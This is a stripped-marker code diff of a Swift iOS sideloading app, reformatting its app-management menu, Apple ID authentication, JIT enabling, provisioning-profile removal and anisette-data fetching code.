let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive) { (action) in
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive)
{ _ in
self.remove(installedApp)
}
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt")) { (action) in
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt"))
{ _ in
guard #available(iOS 14, *) else { return }
self.enableJIT(for: installedApp)
}
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc")) { (action) in
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc"))
{ _ in
self.backup(installedApp)
}
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc")) { (action) in
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc"))
{ _ in
self.exportBackup(for: installedApp)
}
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc")) { (action) in
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc"))
{ _ in
self.restore(installedApp)
}
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo")) { (action) in
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo"))
{ _ in
self.chooseIcon(for: installedApp)
}
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive]) { (action) in
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive])
{ _ in
self.changeIcon(for: installedApp, to: nil)
}
@@ -1562,7 +1640,9 @@ extension MyAppsViewController
let changeIconMenu = UIMenu(title: NSLocalizedString("Change Icon", comment: ""), image: UIImage(systemName: "photo"), children: changeIconActions)
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
else
{
#if BETA
return [refreshAction, changeIconMenu]
#else
@@ -1605,9 +1685,10 @@ extension MyAppsViewController
if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp)
{
var backupExists = false
var outError: NSError? = nil
var outError: NSError?
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError) { (backupDirectoryURL) in
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError)
{ backupDirectoryURL in
#if DEBUG
backupExists = true
#else
@@ -1649,7 +1730,7 @@ extension MyAppsViewController
// Legacy sideloaded app, so can't detect if it's deleted.
actions.append(removeAction)
}
else if !UserDefaults.standard.isLegacyDeactivationSupported && !installedApp.isActive
else if !UserDefaults.standard.isLegacyDeactivationSupported, !installedApp.isActive
{
// Inactive apps are actually deleted, so we need another way
// for user to remove them from AltStore.
@@ -1670,7 +1751,8 @@ extension MyAppsViewController
case .activeApps, .inactiveApps:
let installedApp = self.dataSource.item(at: indexPath)
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil) { (suggestedActions) -> UIMenu? in
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil)
{ _ -> UIMenu? in
let actions = self.actions(for: installedApp)
let menu = UIMenu(title: "", children: actions)
@@ -1868,7 +1950,7 @@ extension MyAppsViewController: UICollectionViewDropDelegate
let inactiveAppsHeaderAttributes = collectionView.layoutAttributesForSupplementaryElement(ofKind: UICollectionView.elementKindSectionHeader, at: IndexPath(item: 0, section: Section.inactiveApps.rawValue))
else { return UICollectionViewDropProposal(operation: .cancel) }
var dropDestinationIndexPath: IndexPath? = nil
var dropDestinationIndexPath: IndexPath?
defer
{
@@ -1881,7 +1963,8 @@ extension MyAppsViewController: UICollectionViewDropDelegate
let indexPaths = [previousIndexPath, dropDestinationIndexPath].compactMap { $0 }
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters()) {
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters())
{
for indexPath in indexPaths
{
// Access cell directly so we can animate it correctly.
@@ -1917,12 +2000,16 @@ extension MyAppsViewController: UICollectionViewDropDelegate
{
// Activating
guard point.y > activeAppsHeaderAttributes.frame.minY else {
guard point.y > activeAppsHeaderAttributes.frame.minY
else
{
// Above active apps section.
return UICollectionViewDropProposal(operation: .cancel)
}
guard point.y < inactiveAppsHeaderAttributes.frame.minY else {
guard point.y < inactiveAppsHeaderAttributes.frame.minY
else
{
// Inactive apps section.
return UICollectionViewDropProposal(operation: .move, intent: .insertAtDestinationIndexPath)
}
@@ -1940,13 +2027,17 @@ extension MyAppsViewController: UICollectionViewDropDelegate
// Not enough active app slots, so we need to deactivate an app.
// Provided destinationIndexPath is inaccurate.
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue else {
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue
else
{
// Invalid destination index path.
return UICollectionViewDropProposal(operation: .cancel)
}
let installedApp = self.dataSource.item(at: indexPath)
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
else
{
// Can't deactivate AltStore.
return UICollectionViewDropProposal(operation: .forbidden, intent: .insertIntoDestinationIndexPath)
}
@@ -1978,8 +2069,10 @@ extension MyAppsViewController: UICollectionViewDropDelegate
installedApp.isActive = true
let previousInstalledApp = self.dataSource.item(at: destinationIndexPath)
self.deactivate(previousInstalledApp) { (result) in
installedApp.managedObjectContext?.perform {
self.deactivate(previousInstalledApp)
{ result in
installedApp.managedObjectContext?.perform
{
switch result
{
case .failure: installedApp.isActive = false
@@ -2053,7 +2146,8 @@ extension MyAppsViewController: UIDocumentPickerDelegate
switch controller.documentPickerMode
{
case .import, .open:
self.sideloadApp(at: fileURL) { (result) in
self.sideloadApp(at: fileURL)
{ result in
print("Sideloaded app at \(fileURL) with result:", result)
}
@@ -2079,7 +2173,7 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
previewingContext.sourceRect = cell.frame
let app = self.dataSource.item(at: indexPath)
guard let storeApp = app.storeApp else { return nil}
guard let storeApp = app.storeApp else { return nil }
let appViewController = AppViewController.makeAppViewController(app: storeApp)
return appViewController
@@ -2099,9 +2193,10 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
extension MyAppsViewController: UIImagePickerControllerDelegate, UINavigationControllerDelegate
{
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any])
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey: Any])
{
defer {
defer
{
picker.dismiss(animated: true, completion: nil)
self._imagePickerInstalledApp = nil
}

View File

@@ -7,12 +7,11 @@
//
import Foundation
import SwiftUI
import Roxas
import Network
import Roxas
import AltStoreCore
import AltSign
import AltStoreCore
enum AuthenticationError: LocalizedError
{
@@ -23,8 +22,10 @@ enum AuthenticationError: LocalizedError
case missingPrivateKey
case missingCertificate
var errorDescription: String? {
switch self {
var errorDescription: String?
{
switch self
{
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
@@ -40,7 +41,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
let context: AuthenticatedOperationContext
private weak var presentingViewController: UIViewController?
private lazy var navigationController: UINavigationController = {
let navigationController = self.storyboard.instantiateViewController(withIdentifier: "navigationController") as! UINavigationController
if #available(iOS 13.0, *)
@@ -49,7 +50,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
}
return navigationController
}()
private lazy var storyboard = UIStoryboard(name: "Authentication", bundle: nil)
private var appleIDEmailAddress: String?
@@ -83,7 +84,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
}
// Sign In
self.signIn() { (result) in
self.signIn
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -94,7 +96,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
self.progress.completedUnitCount += 1
// Fetch Team
self.fetchTeam(for: account, session: session) { (result) in
self.fetchTeam(for: account, session: session)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -105,7 +108,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
self.progress.completedUnitCount += 1
// Fetch Certificate
self.fetchCertificate(for: team, session: session) { (result) in
self.fetchCertificate(for: team, session: session)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -116,7 +120,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
self.progress.completedUnitCount += 1
// Register Device
self.registerCurrentDevice(for: team, session: session) { (result) in
self.registerCurrentDevice(for: team, session: session)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -126,7 +131,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
self.progress.completedUnitCount += 1
// Save account/team to disk.
self.save(team) { (result) in
self.save(team)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -134,7 +140,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
case .failure(let error): self.finish(.failure(error))
case .success:
// Must cache App IDs _after_ saving account/team to disk.
self.cacheAppIDs(team: team, session: session) { (result) in
self.cacheAppIDs(team: team, session: session)
{ result in
let result = result.map { _ in (team, certificate, session) }
self.finish(result)
}
@@ -153,7 +160,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
func save(_ altTeam: ALTTeam, completionHandler: @escaping (Result<Void, Error>) -> Void)
{
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
context.performAndWait {
context.performAndWait
{
do
{
let account: Account
@@ -205,7 +213,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
print("Finished authenticating with result:", result.error?.localizedDescription ?? "success")
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
context.perform {
context.perform
{
do
{
let (altTeam, altCertificate, session) = try result.get()
@@ -259,19 +268,17 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
Keychain.shared.signingCertificate = altCertificate.p12Data()
Keychain.shared.signingCertificatePassword = altCertificate.machineIdentifier
self.showInstructionsIfNecessary() { (didShowInstructions) in
self.showInstructionsIfNecessary
{ _ in
let signer = ALTSigner(team: altTeam, certificate: altCertificate)
// Refresh screen must go last since a successful refresh will cause the app to quit.
self.showRefreshScreenIfNecessary(signer: signer, session: session) { (didShowRefreshAlert) in
self.showRefreshScreenIfNecessary(signer: signer, session: session)
{ _ in
super.finish(result)
DispatchQueue.main.async {
if UnstableFeatures.enabled(.swiftUI) {
self.dismiss()
} else {
self.navigationController.dismiss(animated: true, completion: nil)
}
DispatchQueue.main.async
{
self.navigationController.dismiss(animated: true, completion: nil)
}
}
}
@@ -280,12 +287,9 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
{
super.finish(result)
DispatchQueue.main.async {
if UnstableFeatures.enabled(.swiftUI) {
self.dismiss()
} else {
self.navigationController.dismiss(animated: true, completion: nil)
}
DispatchQueue.main.async
{
self.navigationController.dismiss(animated: true, completion: nil)
}
}
}
@@ -296,36 +300,25 @@ private extension AuthenticationOperation
{
func present(_ viewController: UIViewController) -> Bool
{
if UnstableFeatures.enabled(.swiftUI) {
UIApplication.topController?.present(viewController, animated: true)
} else {
guard let presentingViewController = self.presentingViewController else { return false }
guard let presentingViewController = self.presentingViewController else { return false }
self.navigationController.view.tintColor = .white
if self.navigationController.viewControllers.isEmpty
{
guard presentingViewController.presentedViewController == nil else { return false }
self.navigationController.view.tintColor = .white
if self.navigationController.viewControllers.isEmpty
{
guard presentingViewController.presentedViewController == nil else { return false }
self.navigationController.setViewControllers([viewController], animated: false)
presentingViewController.present(self.navigationController, animated: true, completion: nil)
}
else
{
viewController.navigationItem.leftBarButtonItem = nil
self.navigationController.pushViewController(viewController, animated: true)
}
self.navigationController.setViewControllers([viewController], animated: false)
presentingViewController.present(self.navigationController, animated: true, completion: nil)
}
else
{
viewController.navigationItem.leftBarButtonItem = nil
self.navigationController.pushViewController(viewController, animated: true)
}
return true
}
func dismiss() {
if let presentingViewController {
presentingViewController.dismiss(animated: true)
}
// UIApplication.topController?.dismiss(animated: true)
}
}
private extension AuthenticationOperation
@@ -334,56 +327,32 @@ private extension AuthenticationOperation
{
func authenticate()
{
DispatchQueue.main.async {
let viewController: UIViewController
if UnstableFeatures.enabled(.swiftUI) {
viewController = UIHostingController(rootView: NavigationView {
ConnectAppleIDView { appleID, password, completionHandler in
self.authenticate(appleID: appleID, password: password) { (result) in
completionHandler(result)
}
} completionHandler: { result in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
// In this case, we'll assume we should show the instructions again.
self.shouldShowInstructions = true
self.appleIDPassword = password
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(OperationError.cancelled))
}
}
}.navigationViewStyle(StackNavigationViewStyle()))
} else {
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
self.authenticate(appleID: appleID, password: password) { (result) in
completionHandler(result)
}
DispatchQueue.main.async
{
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
authenticationViewController.authenticationHandler = { appleID, password, completionHandler in
self.authenticate(appleID: appleID, password: password)
{ result in
completionHandler(result)
}
authenticationViewController.completionHandler = { (result) in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
// In this case, we'll assume we should show the instructions again.
self.shouldShowInstructions = true
self.appleIDPassword = password
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(OperationError.cancelled))
}
}
authenticationViewController.completionHandler = { result in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
// In this case, we'll assume we should show the instructions again.
self.shouldShowInstructions = true
self.appleIDPassword = password
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(OperationError.cancelled))
}
viewController = authenticationViewController
}
if !self.present(viewController)
if !self.present(authenticationViewController)
{
completionHandler(.failure(OperationError.notAuthenticated))
}
@@ -392,7 +361,8 @@ private extension AuthenticationOperation
if let appleID = Keychain.shared.appleIDEmailAddress, let password = Keychain.shared.appleIDPassword
{
self.authenticate(appleID: appleID, password: password) { (result) in
self.authenticate(appleID: appleID, password: password)
{ result in
switch result
{
case .success((let account, let session)):
@@ -418,44 +388,64 @@ private extension AuthenticationOperation
self.appleIDEmailAddress = appleID
let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context)
fetchAnisetteDataOperation.resultHandler = { (result) in
fetchAnisetteDataOperation.resultHandler = { result in
switch result
{
case .failure(let error): completionHandler(.failure(error))
case .success(let anisetteData):
let verificationHandler: ((@escaping (String?) -> Void) -> Void)?
verificationHandler = { (completionHandler) in
DispatchQueue.main.async {
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
alertController.addTextField { (textField) in
textField.autocorrectionType = .no
textField.autocapitalizationType = .none
textField.keyboardType = .numberPad
if let presentingViewController = self.presentingViewController
{
verificationHandler = { completionHandler in
DispatchQueue.main.async
{
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
alertController.addTextField
{ textField in
textField.autocorrectionType = .no
textField.autocapitalizationType = .none
textField.keyboardType = .numberPad
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
}
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
}
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
let textField = alertController.textFields?.first
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default)
{ _ in
let textField = alertController.textFields?.first
let code = textField?.text ?? ""
completionHandler(code)
}
submitAction.isEnabled = false
alertController.addAction(submitAction)
self.submitCodeAction = submitAction
let code = textField?.text ?? ""
completionHandler(code)
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel)
{ _ in
completionHandler(nil)
})
if self.navigationController.presentingViewController != nil
{
self.navigationController.present(alertController, animated: true, completion: nil)
}
else
{
presentingViewController.present(alertController, animated: true, completion: nil)
}
}
submitAction.isEnabled = false
alertController.addAction(submitAction)
self.submitCodeAction = submitAction
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
completionHandler(nil)
})
UIApplication.topController?.present(alertController, animated: true, completion: nil)
}
}
else
{
// No view controller to present security code alert, so don't provide verificationHandler.
verificationHandler = nil
}
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
verificationHandler: verificationHandler) { (account, session, error) in
verificationHandler: verificationHandler)
{ account, session, error in
if let account = account, let session = session
{
completionHandler(.success((account, session)))
@@ -474,36 +464,43 @@ private extension AuthenticationOperation
func fetchTeam(for account: ALTAccount, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTTeam, Swift.Error>) -> Void)
{
func selectTeam(from teams: [ALTTeam])
{
if teams.count <= 1 {
if let team = teams.first {
return completionHandler(.success(team))
} else {
return completionHandler(.failure(AuthenticationError.noTeam))
}
} else {
DispatchQueue.main.async {
if !UnstableFeatures.enabled(.swiftUI) {
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
selectTeamViewController.teams = teams
selectTeamViewController.completionHandler = completionHandler
if !self.present(selectTeamViewController)
{
return completionHandler(.failure(AuthenticationError.noTeam))
}
}
}
}
}
{
if teams.count <= 1
{
if let team = teams.first
{
return completionHandler(.success(team))
}
else
{
return completionHandler(.failure(AuthenticationError.noTeam))
}
}
else
{
DispatchQueue.main.async
{
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
ALTAppleAPI.shared.fetchTeams(for: account, session: session) { (teams, error) in
selectTeamViewController.teams = teams
selectTeamViewController.completionHandler = completionHandler
if !self.present(selectTeamViewController)
{
return completionHandler(.failure(AuthenticationError.noTeam))
}
}
}
}
ALTAppleAPI.shared.fetchTeams(for: account, session: session)
{ teams, error in
switch Result(teams, error)
{
case .failure(let error): completionHandler(.failure(error))
case .success(let teams):
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
DatabaseManager.shared.persistentContainer.performBackgroundTask
{ context in
if let activeTeam = DatabaseManager.shared.activeTeam(in: context), let altTeam = teams.first(where: { $0.identifier == activeTeam.identifier })
{
completionHandler(.success(altTeam))
@@ -522,18 +519,22 @@ private extension AuthenticationOperation
func requestCertificate()
{
let machineName = "AltStore - " + UIDevice.current.name
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session)
{ certificate, error in
do
{
let certificate = try Result(certificate, error).get()
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
{ certificates, error in
do
{
let certificates = try Result(certificates, error).get()
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber })
else
{
throw AuthenticationError.missingCertificate
}
@@ -557,7 +558,8 @@ private extension AuthenticationOperation
{
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
ALTAppleAPI.shared.revoke(certificate, for: team, session: session)
{ success, error in
if let error = error, !success
{
completionHandler(.failure(error))
@@ -569,7 +571,8 @@ private extension AuthenticationOperation
}
}
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
{ certificates, error in
do
{
let certificates = try Result(certificates, error).get()
@@ -626,11 +629,14 @@ private extension AuthenticationOperation
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
{
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
else
{
return completionHandler(.failure(OperationError.unknownUDID))
}
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session) { (devices, error) in
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session)
{ devices, error in
do
{
let devices = try Result(devices, error).get()
@@ -641,7 +647,8 @@ private extension AuthenticationOperation
}
else
{
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session) { (device, error) in
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session)
{ device, error in
completionHandler(Result(device, error))
}
}
@@ -656,7 +663,7 @@ private extension AuthenticationOperation
func cacheAppIDs(team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<Void, Error>) -> Void)
{
let fetchAppIDsOperation = FetchAppIDsOperation(context: self.context)
fetchAppIDsOperation.resultHandler = { (result) in
fetchAppIDsOperation.resultHandler = { result in
do
{
let (_, context) = try result.get()
@@ -675,22 +682,19 @@ private extension AuthenticationOperation
func showInstructionsIfNecessary(completionHandler: @escaping (Bool) -> Void)
{
if UnstableFeatures.enabled(.swiftUI) {
return completionHandler(false)
} else {
guard self.shouldShowInstructions else { return completionHandler(false) }
guard self.shouldShowInstructions else { return completionHandler(false) }
DispatchQueue.main.async
{
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
instructionsViewController.showsBottomButton = true
instructionsViewController.completionHandler = {
completionHandler(true)
}
DispatchQueue.main.async {
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
instructionsViewController.showsBottomButton = true
instructionsViewController.completionHandler = {
completionHandler(true)
}
if !self.present(instructionsViewController)
{
completionHandler(false)
}
if !self.present(instructionsViewController)
{
completionHandler(false)
}
}
}
@@ -705,7 +709,8 @@ private extension AuthenticationOperation
#if DEBUG
completionHandler(false)
#else
DispatchQueue.main.async {
DispatchQueue.main.async
{
let context = AuthenticatedOperationContext(context: self.context)
context.operations.removeAllObjects() // Prevent deadlock due to endless waiting on previous operations to finish.

View File

@@ -11,7 +11,6 @@ import CoreData
import AltStoreCore
import EmotionalDamage
import minimuxer
enum RefreshError: LocalizedError
{
@@ -98,14 +97,6 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
return
}
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
target_minimuxer_address()
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
do {
try minimuxer.start(try String(contentsOf: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")), documentsDirectory)
} catch {
self.finish(.failure(error))
}
start_auto_mounter(documentsDirectory)
self.managedObjectContext.perform {
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))

View File

@@ -44,9 +44,14 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
for profile in allIdentifiers {
do {
try remove_provisioning_profile(profile)
let res = try remove_provisioning_profile(id: profile)
if case Uhoh.Bad(let code) = res {
self.finish(.failure(minimuxer_to_operation(code: code)))
}
} catch Uhoh.Bad(let code) {
self.finish(.failure(minimuxer_to_operation(code: code)))
} catch {
return self.finish(.failure(error))
self.finish(.failure(ALTServerError(.unknownResponse)))
}
}

View File

@@ -45,13 +45,23 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
installedApp.managedObjectContext?.perform {
let v = minimuxer_to_operation(code: 1)
do {
try debug_app(installedApp.resignedBundleIdentifier)
var x = try debug_app(app_id: installedApp.resignedBundleIdentifier)
switch x {
case .Good:
self.finish(.success(()))
case .Bad(let code):
self.finish(.failure(minimuxer_to_operation(code: code)))
}
} catch Uhoh.Bad(let code) {
self.finish(.failure(minimuxer_to_operation(code: code)))
} catch {
return self.finish(.failure(error))
self.finish(.failure(OperationError.unknown))
}
self.finish(.success(()))
}
}
}

View File

@@ -7,28 +7,15 @@
//
import Foundation
import CommonCrypto
import Starscream
import AltStoreCore
import AltSign
import Roxas
@objc(FetchAnisetteDataOperation)
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSocketDelegate
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
{
let context: OperationContext
var socket: WebSocket!
var url: URL?
var startProvisioningURL: URL?
var endProvisioningURL: URL?
var clientInfo: String?
var userAgent: String?
var mdLu: String?
var deviceId: String?
init(context: OperationContext)
{
@@ -45,406 +32,32 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
return
}
self.url = AnisetteManager.currentURL
print("Anisette URL: \(self.url!.absoluteString)")
let url = AnisetteManager.currentURL
DLOG("Anisette URL: %@", url.absoluteString)
if let identifier = Keychain.shared.identifier,
let adiPb = Keychain.shared.adiPb {
fetchAnisetteV3(identifier, adiPb)
} else {
provision()
}
}
// MARK: - COMMON
func extractAnisetteData(_ data: Data, _ response: HTTPURLResponse?, v3: Bool) throws {
// make sure this JSON is in the format we expect
// convert data to json
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
if v3 {
if json["result"] == "GetHeadersError" {
let message = json["message"]
print("Error getting V3 headers: \(message ?? "no message")")
if let message = message,
message.contains("-45061") {
print("Error message contains -45061 (not provisioned), resetting adi.pb and retrying")
Keychain.shared.adiPb = nil
return provision()
} else { throw OperationError.anisetteV3Error(message: message ?? "Unknown error") }
}
}
let task = URLSession.shared.dataTask(with: url) { data, response, error in
guard let data = data, error == nil else { return }
// try to read out a dictionary
// for some reason serial number isn't needed but it doesn't work unless it has a value
var formattedJSON: [String: String] = ["deviceSerialNumber": "0"]
if let machineID = json["X-Apple-I-MD-M"] { formattedJSON["machineID"] = machineID }
if let oneTimePassword = json["X-Apple-I-MD"] { formattedJSON["oneTimePassword"] = oneTimePassword }
if let routingInfo = json["X-Apple-I-MD-RINFO"] { formattedJSON["routingInfo"] = routingInfo }
if v3 {
formattedJSON["deviceDescription"] = self.clientInfo!
formattedJSON["localUserID"] = self.mdLu!
formattedJSON["deviceUniqueIdentifier"] = self.deviceId!
// Generate date stuff on client
let formatter = DateFormatter()
formatter.locale = Locale(identifier: "en_US_POSIX")
formatter.calendar = Calendar(identifier: .gregorian)
formatter.timeZone = TimeZone.current
formatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss'Z'"
let dateString = formatter.string(from: Date())
formattedJSON["date"] = dateString
formattedJSON["locale"] = Locale.current.identifier
formattedJSON["timeZone"] = TimeZone.current.abbreviation()
} else {
if let deviceDescription = json["X-MMe-Client-Info"] { formattedJSON["deviceDescription"] = deviceDescription }
if let localUserID = json["X-Apple-I-MD-LU"] { formattedJSON["localUserID"] = localUserID }
if let deviceUniqueIdentifier = json["X-Mme-Device-Id"] { formattedJSON["deviceUniqueIdentifier"] = deviceUniqueIdentifier }
if let date = json["X-Apple-I-Client-Time"] { formattedJSON["date"] = date }
if let locale = json["X-Apple-Locale"] { formattedJSON["locale"] = locale }
if let timeZone = json["X-Apple-I-TimeZone"] { formattedJSON["timeZone"] = timeZone }
}
if let response = response,
let version = response.value(forHTTPHeaderField: "Implementation-Version") {
print("Implementation-Version: \(version)")
} else { print("No Implementation-Version header") }
print("Anisette used: \(formattedJSON)")
print("Original JSON: \(json)")
if let anisette = ALTAnisetteData(json: formattedJSON) {
print("Anisette is valid!")
self.finish(.success(anisette))
} else {
print("Anisette is invalid!!!!")
if v3 {
throw OperationError.anisetteV3Error(message: "Invalid anisette (the returned data may not have all the required fields)")
} else {
throw OperationError.anisetteV1Error(message: "Invalid anisette (the returned data may not have all the required fields)")
}
}
} else {
if v3 {
throw OperationError.anisetteV3Error(message: "Invalid anisette (the returned data may not be in JSON)")
} else {
throw OperationError.anisetteV1Error(message: "Invalid anisette (the returned data may not be in JSON)")
}
}
}
// MARK: - V1
func handleV1() {
print("Server is V1")
if UserDefaults.shared.trustedServerURL == AnisetteManager.currentURLString {
print("Server has already been trusted, fetching anisette")
return self.fetchAnisetteV1()
}
print("Alerting user about outdated server")
